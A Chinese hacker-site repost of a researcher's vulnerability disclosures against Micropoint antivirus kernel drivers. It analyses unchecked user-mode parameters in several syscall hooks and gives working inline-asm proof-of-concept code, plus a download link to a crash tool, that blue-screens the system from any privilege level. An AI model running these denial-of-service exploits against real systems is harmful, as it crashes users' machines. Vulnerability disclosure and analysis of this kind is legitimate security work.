| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 漏洞利用 >> 正文
微点主动防御(version20080924及以下)多个拒绝服务漏洞及内核BUG(一,二,三)
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

作者:MJ0011

国庆无聊在家,下了一个0924版的微点,从它的HOOK一个个看起,看了4个就发现两个有问题~~再看看,发现有问题的函数几乎是一半对一半~ 多达十几处。还只是简单看看地结果~太挫了

现在说一说其中两个~微点赶紧改吧:D

(1),驱动对ZwOpenEvent的HOOK存在拒绝服务安全漏洞,任何权限用户可以使安装了微点的系统蓝屏

问题在于微点的Hook驱动mp110013.sys对用户态调用ZwOpenEvent传入参数检查不充分导致的

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

偏移0XBAE处实际是其对ZwOpenEvent的HOOK实际处理部分(首先经过一个HOOK引擎mp110003.sys转发)。

ZwOpenEvent的原型是:

NTSTATUS
ZwOpenEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

微点只对ObjectAttributes做了ProbeForRead检查,没有对该结构内部成员 的缓存地址做有效检查,就直接使用系统函数RtlUnicodeStringToAnsiString将该结构的 ObjectAttributes->ObjectName转换为ANSI字符,因此只要RING3的程序对该域填充错误地址,就可以引发系统访问 无效内存蓝屏

由于该函数的Hook函数中使用了结构化异常处理,因此传0之类的地址是无法引发蓝屏的,但只要传入任何一个无效的内核地址(例如0x80000000),就可以使微点蓝屏

下面是引发蓝屏的测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenEvent");

OBJECT_ATTRIBUTES oba ;
oba.ObjectName = (PUNICODE_STRING)0x80000000 ;

__asm{
lea eax ,oba
push eax
push 0
push 0
call p
}

运行了这段代码后,系统即蓝屏重启,适用于任何安装了微点的系统任何用户权限。

我编写了一个测试程序"BSOD_MP.exe",在装有20080924及以下版本的微点的系统,运行程序后点"done",系统即会蓝屏。

测试程序下载:http://mj0011.ys168.com 漏洞演示目录下BSOD_mp.rar

(2).驱动对ZwOpenThread的HOOK处理存在漏洞,可能导致系统其他组件工作不正常

在同样版本的mp110013.sys中,对于ZwOpenThread的处理存在BUG,可能导致任意调用该函数的其他驱动程序或系统组件失败!

在对ZwOpenThread的HOOK中,微点的驱动没有判断系统上个模式,而是直接使用 ProbeForRead函数去校验ZwOpenThread的参数: ObjectAttributes,这样做的结果会导致在驱动中使用该函数的驱动,只要使用了这个参数,调用这个函数就会返回失败。 STATUS_ACCESS_DEIND

正确的做法应该是先判断当前线程的前个模式,如果是UserMode,再做有效性校验。

这个函数在驱动中用得不多,但也不是没有,属于微软有文档的函数,例如在Sandboxie的驱动中就有用到这个,如果这个函数失败,沙箱内的进程在执行某些操作的时候,就可能出错,甚至导致系统崩溃。

====================================================

综上来看,微点的驱动开发者对如何校验用户态参数还是有一些概念的,可惜的是,不仅理解不深,而且还会出现一些粗心大意的毛病~象SSDT HOOK这样直面用户态程序的驱动代码,还是要慎之慎之~~

另外这也暴露出,微点的测试流程不够专业,驱动测试不够重视,如果发布前使用BSODHook等Driver Test工具跑一跑,就不会出现如(1)中那样弱智的错误了~

 

除了文一提到的两个函数~微点的内核驱动中实际存在着大量这样的问题

再提两个函数,也省得微点的工程师累死累活的找了~学习雷锋啊好榜样~~

(1). 对ZwDeleteValueKey 的HOOK函数对用户态参数没有做检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

处理函数位于mp110009.sys, 版本:1.2.10045 ,CheckSum = 0xCC78 , TimeStamp = 0x48478FCF

偏移0x12f7处是对ZwDeleteValueKey的HOOK处理函数,该函数的原型是:

NTSTATUS
NtDeleteValueKey(
__in HANDLE KeyHandle,
__in PUNICODE_STRING ValueName
)

微点完全没有检查第二个参数 ValueName的有效性就在其代码偏移0x824处直接取该地址的数据,于是只要传给该参数 错误的地址,系统就会立即蓝屏

如下:微点的处理代码:

F8D39815:
mov eax, [ebp+SourceString]
test eax, eax
jz F8D398C0
and [ebp+ms_exc.disabled], 0
cmp word ptr [eax], 0 <---memory fault , check by kfuzz
jz short F8D39833

直接取到参数后判断了下是不是0就直接从内存取出UNICODE_STRING的Length域了

运行以下代码后,该版本微点同样立即蓝屏,这里就不给测试程序了~有兴趣的自己编译了看看

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwDeleteValueKey");
__asm{

push 0x80000000
push 0
call p

}

(2).在对IoCreateFile->Call ObOpenObjectByName的inline hook中,完全未作参数检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

微点Hook了IoCreateFile -> IopCreateFile -> call ObOpenObjectByName,使用替换4字节地址指针的方式。

此时可爱的微点小朋友以为传递给ObOpenObjectByName的参数都已经是已经过内核校验过的了,因此自己不做任何检查,直接使用,甚至连结构化异常处理都不使用.

实际上对IoCreateFile的参数检查到ObOpenOpenByName中才刚刚开始~

结果就导致随便传入错误的参数给ZwCreateFile,就可以引发微点的蓝屏

出问题的模块是mp110011.sys,版本:1.2.10237 , checksum = 0x0002291a TimeStamp = 0x488944d9

在偏移0x45ca处即使替换ObOpenObjectByName的Hook函数。可以看到微点检查到其DesiredAccess 参数中包含了DELETE权限,就直接从第一个参数ObjectAttributes中取数据,完全不做任何检查。

利用代码,此代码运行后安装有微点的系统将立即蓝屏:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateFile");

HANDLE filehandle ;
IO_STATUS_BLOCK iosb ;

__asm{

PUSH 0
PUSH 0
push 0
push 1
push 0
push 0
push 0
lea eax , iosb
push eax
push 0 //ObjectAttributes set to Zero
push 0x10080 // bypass DELETE access check
lea eax ,filehandle
push eax
call p

}

此类BUG除了已经报出的4个外还有很多个~国庆无聊的话,会逐个爆出~敬请期待:D

 

继续爆三个漏洞,微点一直没反映啊~看来都度假去了 这样可不行啊 病毒木马可是不休假的哦 O(∩_∩)O哈哈~

(1).微点对NtWriteFile-> Call ObReferenceObjectByHandle的HOOK中未对参数做有效性检查,可导致任意权限用户在安装了微点的系统上可引发系统蓝屏

存在漏洞的文件:mp110011.sys,版本:1.2.10237,CheckSum = 0x0002291a , TimeStamp = 0x488944d9

微点hook了NtWriteFile-> Call ObReferenceObjectByHandle并对其中的FileHandle进行检查,检查对应的设备对象->驱动对象是否是Disk,如果是的话,判断写入的偏移,进行阻截或放行

其中hook函数使用读取外层函数(NtWriteFile)保存的栈指针(ebp)来读取外层函数的参数pByteOffset,但未对该参数做有效性检查,就直接使用,导致了攻击的可能

使用以下代码即可在任意用户权限在使安装了微点的系统蓝屏:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwWriteFile");

HANDLE hfile = CreateFile("\\\\.\\PhysicalDrive0" , FILE_WRITE_DATA , 0 , 0 , OPEN_EXISTING , 0 , 0 );
if (hfile != INVALID_HANDLE_VALUE)
{
__asm
{
push 0
push 1 //->pByteOffset,cannot be zero
push 0
push 0
push 0
push 0
push 0
push 0
push hfile
call p

}
}

(2).微点在对NtOpenProcess的头部inline hook中,未进行任何参数检查就直接使用参数,导致任意权限用户可引发安装了微点的系统蓝屏

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

在其处理函数中未做任何参数检查,直接使用了参数pClientId 的缓存地址,也没有结构化异常处理,因此直接传递0地址即可使系统蓝屏

测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "NtOpenProcess");

__asm{
push 0
push 0
push 1 //access must have "PROCESS_TERMINATE"
push 0
call p

}

(3).微点对于NtCreateThread的HOOK处理中存在拒绝服务漏洞,可导致任何权限用户在安装了微点的系统上引发蓝屏

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

在其函数中未对参数pContext做任何检查,就使用该参数,并且没有使用任何结构化异常处理,因此只要传0就可以导致蓝屏

测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "NtCreateThread");

__asm{

push 1 //need createsuspend:)
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call p

}

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |